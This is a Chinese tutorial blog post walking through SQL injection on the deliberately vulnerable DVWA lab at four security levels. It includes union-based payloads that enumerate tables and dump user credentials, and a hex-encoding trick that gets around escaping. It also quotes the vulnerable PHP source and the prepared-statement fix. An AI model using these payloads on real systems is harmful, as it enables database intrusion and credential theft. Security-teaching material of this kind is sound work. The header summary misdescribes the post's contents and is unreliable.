【工具-DVWA】DVWA渗透系列七:SQL Injection

本文深入解析SQL注入攻击,涵盖从基础概念到高级技巧的全面内容。通过实例演示如何在不同安全级别下实施渗透测试,包括暴力破解、命令注入、文件上传等多种攻击方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用

本渗透系列包含最新DVWA的14个渗透测试样例:

1.Brute Force(暴力破解)                    
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)                        
4.File Inclusion(文件包含)
5.File Upload(文件上传)                    
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)                    
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)                
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)                    
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)    
14.JavaScript​​​​​​​

安全级别分低、中、高、安全四个级别来分析SQL Injection的渗透测试过程。

1 基础知识

  • SQL Injection-SQL注入

通过任意手段,达到让程序执行恶意SQL代码的目的。

  • 任意手段

表单提交;任何后端可利用的接口;可能被后端读取并添加到SQL中的上传文件名等等

  • 注入目的

获取或超控数据库里的数据

  • 注入过程
  1. 判断是否有SQL注入漏洞
  2. 判断SQL所查询字段的个数
  3. 判断SQL中查询字段与界面显示字段的对应关系
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 获取表中的数据

2 Low

2.1 渗透测试

  • 确认有SQL注入漏洞,使用【#】截断后续SQL语句(PS:注意中英文的冒号哦
1' or 1 =1 #

  • 确认SQL所查询字段的个数为2个(order 3时出现异常)
1' or 1=1 order by 2 #

  • 确认SQL中查询字段与界面显示字段的对应关系:First name对应第一个字段,Surname对应第二个
9527' union select 1,2 #

  • 获取当前数据库:dvwa
9527' union select 1,database() #

  • 获取数据库中的表:guestbook,users
9527' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

  • 获取表中的字段名:以users为例:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
9527' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

  • 获取表中的数据:见图
9527' union select group_concat(user_id,'-',first_name,'-',last_name),group_concat(password) from users #

2.2 源码分析

分析:字符型注入漏洞,没有任何过滤和效验

$id = $_REQUEST[ 'id' ];

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
	// Get values
	$first = $row["first_name"];
	$last  = $row["last_name"];

	// Feedback for end user
	$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

3 Medium

3.1 渗透测试

  • 发现:不能通过页面输入,咋办?使用burpsuite拦截修改!

返回:SQL错误,咋不行了?

  • 试试数字型注入,成功!
1 or 1=1 #

  • 后续渗透过程和Low的类似,除了获取表中的字段名这一步,由于使用了【'users'】,有单引号!后台可能做了效验或者转义,所以ID也用了数字查询,特意没有用字符查询,咋办?采用Hex(16进制)编码可以绕过,users的编码是:7573657273!
id=9527 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

3.2 源码分析

发现:使用了mysql_real_escape_string,对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,所以可以采用Hex编码绕过。

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

4 High

4.1 渗透测试

发现:居然又换了花样,采用弹框式,发起注入请求的页面和结构展示页面不是同一个,但是整个渗透过程和Low一模一样!

4.2 源码分析

high.php:发现添加了LIMIT 1,由于我们注入SQL后面一直都加了【#】,所以这个新增条件,对渗透过程没产生影响。

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

5 Impossible

源码分析:采用了PDO的方式处理SQL请求,数据与逻辑分离,等同于Java里的预处理。

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

6 总结

一句话:没有采用预处理方式的,都可能存在SQL注入漏洞,黑名单总有可能被绕过!

 

 


爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qqchaozai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值